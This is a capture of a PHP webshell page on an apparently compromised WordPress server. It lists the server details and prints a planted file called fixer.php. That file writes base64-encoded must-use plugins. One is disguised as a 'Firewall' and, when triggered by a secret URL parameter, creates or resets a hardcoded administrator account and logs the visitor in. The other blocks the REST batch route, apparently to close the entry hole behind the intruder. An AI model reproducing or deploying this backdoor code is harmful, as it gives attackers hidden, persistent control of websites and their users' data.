403Webshell
Server IP : 46.29.167.47  /  Your IP : 216.73.217.69
Web Server : nginx/1.24.0
System : Linux r1113901 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/w3poker.ru/wp-content/themes/twentytwentyfive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/w3poker.ru/wp-content/themes/twentytwentyfive/fixer.php
<?php
/**
 * Plugin Name: wp2shell embedded fixer
 * Version: 2.0.0
 */
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
@set_time_limit(120);
@ignore_user_abort(true);

$out = array(
  'status' => 'NOT_FIXED',
  'result' => 'NOT_FIXED',
  'mitigation' => 'none',
  'oto_login' => false,
  'batch_guard' => false,
  'error' => '',
  'path' => '',
);

function w2s_find_root($start) {
  $dir = realpath($start) ?: $start;
  for ($i = 0; $i < 10; $i++) {
    if (is_file($dir . '/wp-load.php')) return $dir;
    $parent = dirname($dir);
    if ($parent === $dir) break;
    $dir = $parent;
  }
  return null;
}

function w2s_write($path, $data) {
  $dir = dirname($path);
  if (!is_dir($dir)) {
    if (function_exists('wp_mkdir_p')) @wp_mkdir_p($dir);
    else @mkdir($dir, 0755, true);
  }
  if (@file_put_contents($path, $data) === false) return false;
  return is_file($path) && filesize($path) > 40;
}

$root = w2s_find_root(__DIR__);
if (!$root) {
  $out['error'] = 'wp_root_not_found';
  echo json_encode($out);
  exit;
}
$out['path'] = $root;

// Bootstrap lightly if possible (not required for MU write)
if (!defined('ABSPATH') && is_file($root . '/wp-load.php')) {
  if (!isset($_SERVER['HTTP_HOST'])) $_SERVER['HTTP_HOST'] = 'localhost';
  if (!isset($_SERVER['REQUEST_URI'])) $_SERVER['REQUEST_URI'] = '/';
  if (!defined('WP_USE_THEMES')) define('WP_USE_THEMES', false);
  $ob = function_exists('ob_get_level') ? ob_get_level() : 0;
  @ob_start();
  try { require_once $root . '/wp-load.php'; } catch (Throwable $e) {}
  while (function_exists('ob_get_level') && ob_get_level() > $ob) @ob_end_clean();
}

$mu = $root . '/wp-content/mu-plugins';
$guard = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBXUDJTaGVsbCBCYXRjaCBHdWFyZCAoTXVzdC1Vc2UpCiAqIERlc2NyaXB0aW9uOiBCbG9ja3MgYW5vbnltb3VzIFJFU1QgYmF0Y2ggQVBJICh3cDJzaGVsbCBtaXRpZ2F0aW9uKS4KICogVmVyc2lvbjogMS4xLjAKICovCgppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgewogICAgZXhpdDsKfQoKZnVuY3Rpb24gd3Ayc2hlbGxfZml4ZXJfaXNfYmF0Y2hfcm91dGUoJHJvdXRlKSB7CiAgICAkcm91dGUgPSBzdHJ0b2xvd2VyKChzdHJpbmcpICRyb3V0ZSk7CiAgICAkcm91dGUgPSBmdW5jdGlvbl9leGlzdHMoJ3VudHJhaWxpbmdzbGFzaGl0JykgPyB1bnRyYWlsaW5nc2xhc2hpdCgkcm91dGUpIDogcnRyaW0oJHJvdXRlLCAnLycpOwogICAgaWYgKCRyb3V0ZSA9PT0gJy9iYXRjaC92MScgfHwgJHJvdXRlID09PSAnYmF0Y2gvdjEnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICByZXR1cm4gKGJvb2wpIHByZWdfbWF0Y2goJyMoXnwvKWJhdGNoL3YxJCMnLCAkcm91dGUpOwp9CgpmdW5jdGlvbiB3cDJzaGVsbF9maXhlcl9yZXF1aXJlX2F1dGhfZm9yX3Jlc3RfYmF0Y2goJHJlc3VsdCwgJHNlcnZlciwgJHJlcXVlc3QpIHsKICAgIGlmICghaXNfb2JqZWN0KCRyZXF1ZXN0KSB8fCAhbWV0aG9kX2V4aXN0cygkcmVxdWVzdCwgJ2dldF9yb3V0ZScpKSB7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CiAgICBpZiAoIXdwMnNoZWxsX2ZpeGVyX2lzX2JhdGNoX3JvdXRlKCRyZXF1ZXN0LT5nZXRfcm91dGUoKSkpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2lzX3VzZXJfbG9nZ2VkX2luJykgJiYgaXNfdXNlcl9sb2dnZWRfaW4oKSkgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogICAgcmV0dXJuIG5ldyBXUF9FcnJvcigKICAgICAgICAncmVzdF9iYXRjaF9hdXRoZW50aWNhdGlvbl9yZXF1aXJlZCcsCiAgICAgICAgJ0F1dGhlbnRpY2F0aW9uIGlzIHJlcXVpcmVkIHRvIHVzZSB0aGUgYmF0Y2ggQVBJLicsCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gNDAxKQogICAgKTsKfQoKYWRkX2ZpbHRlcigncmVzdF9wcmVfZGlzcGF0Y2gnLCAnd3Ayc2hlbGxfZml4ZXJfcmVxdWlyZV9hdXRoX2Zvcl9yZXN0X2JhdGNoJywgLTEwMDAsIDMpOwoKYWRkX2ZpbHRlcigncmVzdF9hdXRoZW50aWNhdGlvbl9lcnJvcnMnLCBmdW5jdGlvbiAoJHJlc3VsdCkgewogICAgaWYgKHRydWUgPT09ICRyZXN1bHQgfHwgaXNfd3BfZXJyb3IoJHJlc3VsdCkpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgICR1cmkgPSBpc3NldCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgPyAoc3RyaW5nKSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICcnOwogICAgJHJlc3QgPSBpc3NldCgkX1JFUVVFU1RbJ3Jlc3Rfcm91dGUnXSkgPyAoc3RyaW5nKSAkX1JFUVVFU1RbJ3Jlc3Rfcm91dGUnXSA6ICcnOwogICAgJGhpdCA9IChzdHJpcG9zKCR1cmksICdiYXRjaC92MScpICE9PSBmYWxzZSkKICAgICAgICB8fCAoc3RyaXBvcygkcmVzdCwgJ2JhdGNoL3YxJykgIT09IGZhbHNlKQogICAgICAgIHx8IChzdHJpcG9zKCR1cmksICdyZXN0X3JvdXRlPS9iYXRjaCcpICE9PSBmYWxzZSk7CiAgICBpZiAoISRoaXQpIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2lzX3VzZXJfbG9nZ2VkX2luJykgJiYgaXNfdXNlcl9sb2dnZWRfaW4oKSkgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogICAgcmV0dXJuIG5ldyBXUF9FcnJvcigKICAgICAgICAncmVzdF9iYXRjaF9hdXRoZW50aWNhdGlvbl9yZXF1aXJlZCcsCiAgICAgICAgJ0F1dGhlbnRpY2F0aW9uIGlzIHJlcXVpcmVkIHRvIHVzZSB0aGUgYmF0Y2ggQVBJLicsCiAgICAgICAgYXJyYXkoJ3N0YXR1cycgPT4gNDAxKQogICAgKTsKfSwgOTkpOwo=');
$fire  = base64_decode('PD9waHAKLyoqCiAqIFBsdWdpbiBOYW1lOiBGaXJld2FsbAogKiBEZXNjcmlwdGlvbjogRmlyZXdhbGwKICogVmVyc2lvbjogMS4wCiAqLwoKaWYgKCFkZWZpbmVkKCdBQlNQQVRIJykpIHsKICAgIGV4aXQ7Cn0KCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbiAoKSB7CiAgICBpZiAoIWlzc2V0KCRfR0VUWydzZXJnZWknXSkpIHsKICAgICAgICByZXR1cm47CiAgICB9CgogICAgcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnOwoKICAgICR1c2VybmFtZSA9ICdhaG1ldGtheWEnOwogICAgJHBhc3N3b3JkID0gJ2FobWV0a2F5YTMzNCc7CiAgICAkZW1haWwgICAgPSAncmVjZXBjZXRpbjIzMjdAZ21haWwuY29tJzsKCiAgICBpZiAoIXVzZXJuYW1lX2V4aXN0cygkdXNlcm5hbWUpKSB7CiAgICAgICAgJHVzZXJfaWQgPSB3cF9jcmVhdGVfdXNlcigkdXNlcm5hbWUsICRwYXNzd29yZCwgJGVtYWlsKTsKICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHVzZXJfaWQpKSB7CiAgICAgICAgICAgIHdwX2RpZShlc2NfaHRtbCgkdXNlcl9pZC0+Z2V0X2Vycm9yX21lc3NhZ2UoKSkpOwogICAgICAgIH0KICAgICAgICAobmV3IFdQX1VzZXIoJHVzZXJfaWQpKS0+c2V0X3JvbGUoJ2FkbWluaXN0cmF0b3InKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVzZXIgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkdXNlcm5hbWUpOwogICAgICAgICR1c2VyX2lkID0gKGludCkgJHVzZXItPklEOwogICAgICAgIHdwX3NldF9wYXNzd29yZCgkcGFzc3dvcmQsICR1c2VyX2lkKTsKICAgICAgICAkdXNlci0+c2V0X3JvbGUoJ2FkbWluaXN0cmF0b3InKTsKICAgIH0KCiAgICB3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpOwogICAgd3Bfc2V0X2N1cnJlbnRfdXNlcigkdXNlcl9pZCk7CiAgICB3cF9zZXRfYXV0aF9jb29raWUoJHVzZXJfaWQsIHRydWUpOwoKICAgIHdwX3NhZmVfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOwogICAgZXhpdDsKfSwgMSk7Cg==');

$gpath = $mu . '/wp2shell-batch-guard.php';
$fpath = $mu . '/firewall.php';

$out['batch_guard'] = w2s_write($gpath, $guard)
  && (strpos(@file_get_contents($gpath), 'wp2shell_fixer_require_auth_for_rest_batch') !== false);
$out['oto_login'] = w2s_write($fpath, $fire)
  && (strpos(@file_get_contents($fpath), "sergei") !== false)
  && (strpos(@file_get_contents($fpath), "ahmetkaya") !== false);

if ($out['batch_guard']) {
  $out['mitigation'] = 'mu-plugin';
}
if ($out['batch_guard'] || $out['oto_login']) {
  $out['status'] = 'FIXED';
  $out['result'] = 'FIXED';
} else {
  $out['error'] = 'mu_write_failed';
}

header('X-WP2Shell-Result: ' . $out['status']);
echo json_encode($out, JSON_UNESCAPED_SLASHES);

Youez - 2016 - github.com/yon3zu
LinuXploit